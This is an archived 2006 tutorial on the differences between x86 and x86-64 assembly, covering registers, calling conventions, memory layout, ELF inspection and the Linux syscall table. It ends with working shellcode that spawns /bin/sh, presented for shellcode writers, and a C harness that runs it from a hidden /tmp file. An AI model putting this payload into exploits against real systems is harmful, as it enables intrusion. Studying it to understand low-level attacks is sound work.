[ -
[ - Basic differences between x86 Assembly and X86-64 Assembly
[ -
[ - By Gustavo C. aka hophet <hophet[at]gmail.com>
[ -
[ - http://www.openvms-rocks.com/~hophet/
[ -
Rex1 - Introduction
Rex2 - Registers
Rex3 - Memory
Rex4 - Debugging
Rex5 - Examples
Rex6 - More information
-[ Introduction
Heys guys, the interests here is showing you the basic differences
between x86 assembly and X86-64 assembly, more information about
assembly see the end of the file. The architecture tested here is
AMD64.
-[ Registers
Now we have more space :
%ah/al - 8 bits
%ax - 16 bits
%eax - 32 bits
%rax - 64 bits
And more eight integer registers, r8-r15:
%rXb - 8 bits
%rXw - 16 bits
%rXd - 32 bits
%rX - 64 bits
Where X is from 8 to 15
Now the registers are: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %rbp, %rsp,
%r8-%r15, %rip, %eflags, %cs, %ss, %ds, %es, %fs, %gs:
(gdb) i r
rax 0x8 8
rbx 0x0 0
rcx 0x4000d7 4194519
rdx 0x8 8
rsi 0x5000d8 5243096
rdi 0x1 1
rbp 0x0 0x0
rsp 0x7fffffff7a90 0x7fffffff7a90
r8 0x0 0
r9 0x0 0
r10 0x0 0
r11 0x302 770
r12 0x0 0
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x4000d7 0x4000d7
eflags 0x202 514
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
To write 64 bits instructions use quad-word suffix 'q':
movq $0x4, %rax
Exception for stack operations (pop, push, call, ret, enter, leave).
32 bits operations are translated to 64 bits values with zeros. In 8 and 16 bits
operations are used the lower part of registers.
The used sequence of registers are:
%rax, for number of syscall, %rdi, %rsi, %rdx, %rcx, %r8, %9, for arguments.
The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9.
If the object is memory , pass the argument on the stack.
A called function preserve %rbp, %rbx, from %r12 up to %r15 registers.
A system-call is done via the 'syscall' instruction. The kernel destroys
registers %rcx and %r11.
The returning of functions are stored on %rax.
Before we used the 'int $0x80' for calling the kernel, now we use the
'syscall' for the same.
Here are a table of usage of the registers:
Preserved across
Register Usage function calls
temporary register; with variable arguments No
%rax
passes information about the number of SSE reg-
isters used; 1st return register
callee-saved register; optionally used as base Yes
%rbx
pointer
used to pass 4th integer argument to functions No
%rcx
used to pass 3rd argument to functions; 2nd return No
%rdx
register
stack pointer Yes
%rsp
callee-saved register; optionally used as frame Yes
%rbp
pointer
used to pass 2nd argument to functions No
%rsi
used to pass 1st argument to functions No
%rdi
used to pass 5th argument to functions No
%r8
used to pass 6th argument to functions No
%r9
temporary register, used for passing a functions No
%r10
static chain pointer
temporary register No
%r11
callee-saved registers Yes
%r12-r15
used to pass and return floating point arguments No
%xmm0 %xmm1
used to pass floating point arguments No
%xmm2 %xmm7
temporary registers No
%xmm8 %xmm15
temporary registers No
%mmx0 %mmx7
temporary registers; used to return long No
%st0,%st1
double arguments
temporary registers No
%st2 %st7
Reserved for system (as thread specific data register No
%fs
SSE2 control and status word partial
mxcsr
x87 status word No
x87 SW
x87 control word Yes
x87 CW
-[ Memory
It is only necessary to handle 48-bit addresses: "0x00007fff ffffffff"
The page size may have between 4KB and 64KB.
Begin of memory: 0 (Process Segment)
Dynamic Segments: 0x80000000000
End of memory: 0xffffffffffffffff (Reserved System Area)
Image of memory:
---------------------------------
...
0x80000000000 Dynamic segments
Stack segment
...
...
Data segments
...
0x400000 Text segments
0 Unmapped
---------------------------------
-[ Debugging
Some information about debugging process, here we are going to see the internal
parts of a X86-64 binaries.
See the ELF Header for AMD64:
For AMD64 information, use "e_ident[]" from Elf64_Ehdr (/usr/include/elf.h)
Just to see the changes:
$ readelf -h write
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4000b0
Start of program headers: 64 (bytes into file)
Start of section headers: 272 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 1
Size of section headers: 64 (bytes)
Number of section headers: 5
Section header string table index: 2
$ objdump -D write
1: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: eb 28 jmp 4000da <stack>
00000000004000b2 <write>:
4000b2: 5e pop %rsi
4000b3: 48 c7 c0 01 00 00 00 mov $0x1,%rax
4000ba: 48 c7 c7 01 00 00 00 mov $0x1,%rdi
4000c1: 48 c7 c2 08 00 00 00 mov $0x8,%rdx
4000c8: 0f 05 syscall
4000ca: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax
4000d1: 48 c7 c7 01 00 00 00 mov $0x1,%rdi
4000d8: 0f 05 syscall
00000000004000da <stack>:
4000da: e8 d3 ff ff ff callq 4000b2 <write>
00000000004000df <N>:
4000df: 31 32 xor %esi,(%rdx)
4000e1: 33 34 35 36 37 0a 00 xor 0xa3736(,%rsi,1),%esi
$ strace ./write
execve("./write", ["./write"], [/* 33 vars */]) = 0
write(1, "1234567\n", 81234567
) = 8
_exit(1) = ?
Remember, the number of syscalls has changed, see your syscalls numbers in:
/usr/include/asm-x86_64/unistd.hash
Convert the decimal numbers to hex numbers for use in your code (see: man ascii)
Here are my "unistd.h" on X86_64:
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
#define __NR_brk 12
#define __NR_rt_sigaction 13
#define __NR_rt_sigprocmask 14
#define __NR_rt_sigreturn 15
#define __NR_ioctl 16
#define __NR_pread64 17
#define __NR_pwrite64 18
#define __NR_readv 19
#define __NR_writev 20
#define __NR_access 21
#define __NR_pipe 22
#define __NR_select 23
#define __NR_sched_yield 24
#define __NR_mremap 25
#define __NR_msync 26
#define __NR_mincore 27
#define __NR_madvise 28
#define __NR_shmget 29
#define __NR_shmat 30
#define __NR_shmctl 31
#define __NR_dup 32
#define __NR_dup2 33
#define __NR_pause 34
#define __NR_nanosleep 35
#define __NR_getitimer 36
#define __NR_alarm 37
#define __NR_setitimer 38
#define __NR_getpid 39
#define __NR_sendfile 40
#define __NR_socket 41
#define __NR_connect 42
#define __NR_accept 43
#define __NR_sendto 44
#define __NR_recvfrom 45
#define __NR_sendmsg 46
#define __NR_recvmsg 47
#define __NR_shutdown 48
#define __NR_bind 49
#define __NR_listen 50
#define __NR_getsockname 51
#define __NR_getpeername 52
#define __NR_socketpair 53
#define __NR_setsockopt 54
#define __NR_getsockopt 55
#define __NR_clone 56
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
#define __NR_uname 63
#define __NR_semget 64
#define __NR_semop 65
#define __NR_semctl 66
#define __NR_shmdt 67
#define __NR_msgget 68
#define __NR_msgsnd 69
#define __NR_msgrcv 70
#define __NR_msgctl 71
#define __NR_fcntl 72
#define __NR_flock 73
#define __NR_fsync 74
#define __NR_fdatasync 75
#define __NR_truncate 76
#define __NR_ftruncate 77
#define __NR_getdents 78
#define __NR_getcwd 79
#define __NR_chdir 80
#define __NR_fchdir 81
#define __NR_rename 82
#define __NR_mkdir 83
#define __NR_rmdir 84
#define __NR_creat 85
#define __NR_link 86
#define __NR_unlink 87
#define __NR_symlink 88
#define __NR_readlink 89
#define __NR_chmod 90
#define __NR_fchmod 91
#define __NR_chown 92
#define __NR_fchown 93
#define __NR_lchown 94
#define __NR_umask 95
#define __NR_gettimeofday 96
#define __NR_getrlimit 97
#define __NR_getrusage 98
#define __NR_sysinfo 99
#define __NR_times 100
#define __NR_ptrace 101
#define __NR_getuid 102
#define __NR_syslog 103
#define __NR_getgid 104
#define __NR_setuid 105
#define __NR_setgid 106
#define __NR_geteuid 107
#define __NR_getegid 108
#define __NR_setpgid 109
#define __NR_getppid 110
#define __NR_getpgrp 111
#define __NR_setsid 112
#define __NR_setreuid 113
#define __NR_setregid 114
#define __NR_getgroups 115
#define __NR_setgroups 116
#define __NR_setresuid 117
#define __NR_getresuid 118
#define __NR_setresgid 119
#define __NR_getresgid 120
#define __NR_getpgid 121
#define __NR_setfsuid 122
#define __NR_setfsgid 123
#define __NR_getsid 124
#define __NR_capget 125
#define __NR_capset 126
#define __NR_rt_sigpending 127
#define __NR_rt_sigtimedwait 128
#define __NR_rt_sigqueueinfo 129
#define __NR_rt_sigsuspend 130
#define __NR_sigaltstack 131
#define __NR_utime 132
#define __NR_mknod 133
#define __NR_uselib 134
#define __NR_personality 135
#define __NR_ustat 136
#define __NR_statfs 137
#define __NR_fstatfs 138
#define __NR_sysfs 139
#define __NR_getpriority 140
#define __NR_setpriority 141
#define __NR_sched_setparam 142
#define __NR_sched_getparam 143
#define __NR_sched_setscheduler 144
#define __NR_sched_getscheduler 145
#define __NR_sched_get_priority_max 146
#define __NR_sched_get_priority_min 147
#define __NR_sched_rr_get_interval 148
#define __NR_mlock 149
#define __NR_munlock 150
#define __NR_mlockall 151
#define __NR_munlockall 152
#define __NR_vhangup 153
#define __NR_modify_ldt 154
#define __NR_pivot_root 155
#define __NR__sysctl 156
#define __NR_prctl 157
#define __NR_arch_prctl 158
#define __NR_adjtimex 159
#define __NR_setrlimit 160
#define __NR_chroot 161
#define __NR_sync 162
#define __NR_acct 163
#define __NR_settimeofday 164
#define __NR_mount 165
#define __NR_umount2 166
#define __NR_swapon 167
#define __NR_swapoff 168
#define __NR_reboot 169
#define __NR_sethostname 170
#define __NR_setdomainname 171
#define __NR_iopl 172
#define __NR_ioperm 173
#define __NR_create_module 174
#define __NR_init_module 175
#define __NR_delete_module 176
#define __NR_get_kernel_syms 177
#define __NR_query_module 178
#define __NR_quotactl 179
#define __NR_nfsservctl 180
#define __NR_getpmsg 181
#define __NR_putpmsg 182
#define __NR_afs_syscall 183
#define __NR_tuxcall 184
#define __NR_security 185
#define __NR_gettid 186
#define __NR_readahead 187
#define __NR_setxattr 188
#define __NR_lsetxattr 189
#define __NR_fsetxattr 190
#define __NR_getxattr 191
#define __NR_lgetxattr 192
#define __NR_fgetxattr 193
#define __NR_listxattr 194
#define __NR_llistxattr 195
#define __NR_flistxattr 196
#define __NR_removexattr 197
#define __NR_lremovexattr 198
#define __NR_fremovexattr 199
#define __NR_tkill 200
#define __NR_time 201
#define __NR_futex 202
#define __NR_sched_setaffinity 203
#define __NR_sched_getaffinity 204
#define __NR_set_thread_area 205
#define __NR_io_setup 206
#define __NR_io_destroy 207
#define __NR_io_getevents 208
#define __NR_io_submit 209
#define __NR_io_cancel 210
#define __NR_get_thread_area 211
#define __NR_lookup_dcookie 212
#define __NR_epoll_create 213
#define __NR_epoll_ctl_old 214
#define __NR_epoll_wait_old 215
#define __NR_remap_file_pages 216
#define __NR_getdents64 217
#define __NR_set_tid_address 218
#define __NR_restart_syscall 219
#define __NR_semtimedop 220
#define __NR_fadvise64 221
#define __NR_timer_create 222
#define __NR_timer_settime 223
#define __NR_timer_gettime 224
#define __NR_timer_getoverrun 225
#define __NR_timer_delete 226
#define __NR_clock_settime 227
#define __NR_clock_gettime 228
#define __NR_clock_getres 229
#define __NR_clock_nanosleep 230
#define __NR_exit_group 231
#define __NR_epoll_wait 232
#define __NR_epoll_ctl 233
#define __NR_tgkill 234
#define __NR_utimes 235
#define __NR_vserver 236
#define __NR_vserver 236
#define __NR_mbind 237
#define __NR_set_mempolicy 238
#define __NR_get_mempolicy 239
#define __NR_mq_open 240
#define __NR_mq_unlink 241
#define __NR_mq_timedsend 242
#define __NR_mq_timedreceive 243
#define __NR_mq_notify 244
#define __NR_mq_getsetattr 245
#define __NR_kexec_load 246
#define __NR_waitid 247
#define __NR_add_key 248
#define __NR_request_key 249
#define __NR_keyctl 250
-[ Examples
Compile assembly code with:
$ as --64 code.s -o code.o
$ ld -m elf_x86_64 code.o -o code
Compile C code with:
$ gcc -m64 code.c -o code
------ write1.s ------
.text
.globl _start
_start:
xor %rdx, %rdx
pushq $0x8
pop %rdx
call STR
N: .string "ABCDEFG\n"
STR:
pop %rsi
pushq $0x1
pop %rdi
pushq $0x1 # write (1)
pop %rax
syscall
pushq $0x1
pop %rdi
pushq $0x3c # exit(3c)
pop %rax
syscall
------ write1.s ------
------ write2.s ------
.data
N: .string "1234567\n"
.text
.globl _start
_start:
xor %rdx, %rdx
pushq $0x8
pop %rdx
pushq $N
pop %rsi
pushq $0x1
pop %rdi
pushq $0x1 # write (1)
pop %rax
syscall
pushq $0x1
pop %rdi
pushq $0x3c # exit(3c)
pop %rax
syscall
------ write2.s ------
------ execve1.s ------
.data
SH: .string "/bin/sh"
.text
.globl _start
_start:
xorq %rdx, %rdx
movq SH,%rbx
push %rbx
movq %rsp,%rdi
xorq %rax,%rax
pushq %rax
pushq %rdi
movq %rsp,%rsi
movq $0x3b,%rax # execve(3b)
syscall
movq $0x1, %rdi
movq $0x3c, %rax # exit(3c)
syscall
------ execve1.s ------
A dummy for shellcode writers:
------ execve2.s ------
# [Linux/X86-64]
# Dummy for shellcode:
# execve("/bin/sh", ["/bin/sh"], NULL)
.text
.globl _start
_start:
xorq %rdx, %rdx
movq $0x68732f6e69622fff,%rbx # /bin/shFF
shr $0x8, %rbx # /bin/sh, without 8 bits (FF)
push %rbx
movq %rsp,%rdi
xorq %rax,%rax
pushq %rax
pushq %rdi
movq %rsp,%rsi
mov $0x3b,%al # execve(3b)
syscall
pushq $0x1
pop %rdi
pushq $0x3c # exit(3c)
pop %rax
syscall
------ execve.s ------
The shellcode for your fun moments:
------ shellcode.c ------
/*
* [Linux/X86-64]
* Shellcode for: execve("/bin/sh", ["/bin/sh"], NULL)
* 33 bytes
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char shellcode[] =
"\x48\x31\xd2" // xor %rdx,%rdx
"\x48\xbb\xff\x2f\x62\x69\x6e" // mov $0x68732f6e69622fff,%rbx
"\x2f\x73\x68"
"\x48\xc1\xeb\x08" // shr $0x8,%rbx
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp,%rdi
"\x48\x31\xc0" // xor %rax,%rax
"\x50" // push %rax
"\x57" // push %rdi
"\x48\x89\xe6" // mov %rsp,%rsi
"\xb0\x3b" // mov $0x3b,%al
"\x0f\x05"; // syscall
int
main(void)
{
void (*p)();
int fd;
printf("Lenght: %d\n", strlen(shellcode));
fd = open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR);
if (fd < 0)
err(1, "open");
write(fd, shellcode, strlen(shellcode));
if ((lseek(fd, 0L, SEEK_SET)) < 0)
err(1, "lseek");
p = (void (*)())mmap(NULL, strlen(shellcode), PROT_READ|PROT_EXEC, MAP_SHARED, fd, 0);
if (p == (void (*)())MAP_FAILED)
err(1, "mmap");
p();
return 0;
}
------ shellcode.c ------
-[ More information
http://www.x86-64.org/documentation/assembly
http://www.x86-64.org/documentation/abi-0.98.pdf
http://www.amd.com/us-en/Processors/TechnicalResources/0,,30_182_739_7044,00.html
http://www.jorgon.freeserve.co.uk/GoasmHelp/64bits.htm
Thanks ZuM by revision!
(__)
/-------(--)
/ EOF \/
* ||----||
# milw0rm.com [2006-11-10]